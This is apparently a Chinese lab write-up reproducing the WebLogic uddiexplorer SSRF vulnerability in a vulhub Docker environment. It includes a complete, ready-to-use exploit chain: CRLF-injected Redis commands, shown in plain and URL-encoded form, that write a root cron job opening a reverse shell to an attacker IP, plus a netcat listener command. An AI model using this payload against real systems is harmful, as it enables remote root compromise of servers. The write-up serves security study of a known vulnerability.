weblogic-SSRF漏洞

发布时间 2023-09-05 21:54:28作者: ExpiredSaury

Path : vulhub/weblogic/ssrf

编译及启动测试环境

docker compose up -d

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

访问http://127.0.0.1:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用

image-20230904163330943

点击Search Public Registries

image-20230904163446567

来到http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp页面

image-20230904163509879

漏洞测试

打开BurpSuite测试,点击Search按钮

Ctrl+r发送到Repeater模块,观察数据包

image-20230904163944135

根据数据包的响应信息,可以猜测operator参数后面可以跟一个url地址

利用dnslog平台测试,生成一个域名

image-20230904164421851

image-20230904164534957

成功解析到,说明operator后面 可以做url地址请求,说明存在SSRF 漏洞

image-20230904164609873

访问一个可以访问的IP:PORT,如http://127.0.0.1:80

image-20230904165857585

发现80端口没有开放

在访问7001端口,

image-20230904170025501

通过错误的不同,即可探测内网状态。

环境是在docker上启动的,(docker环境的网段一般是172.*)

image-20230904190933559

注入HTTP头,利用Redis反弹shell

发送三条redis命令,将弹shell脚本写入/etc/crontab

反弹到kali上

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.80.141/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

http://172.19.0.2:6379/saury%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Asaury

kali开启监听:

nc -lvvp 21

bp发送请求

image-20230904191828695

等待计划任务生效

image-20230904191922530

成功拿到shell

redis不能启动问题解决

在使用sudo docker-compose up -d启动环境的时候,只启动了weblogic,没有启动redis

image-20230904192110033

修改如下配置

vim /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"

image-20230904192226991

:wq保存后,命令行运行update-grub

reboot重启,redis成功启动

解决方法来自:https://blog.csdn.net/weixin_43886198/article/details/111144854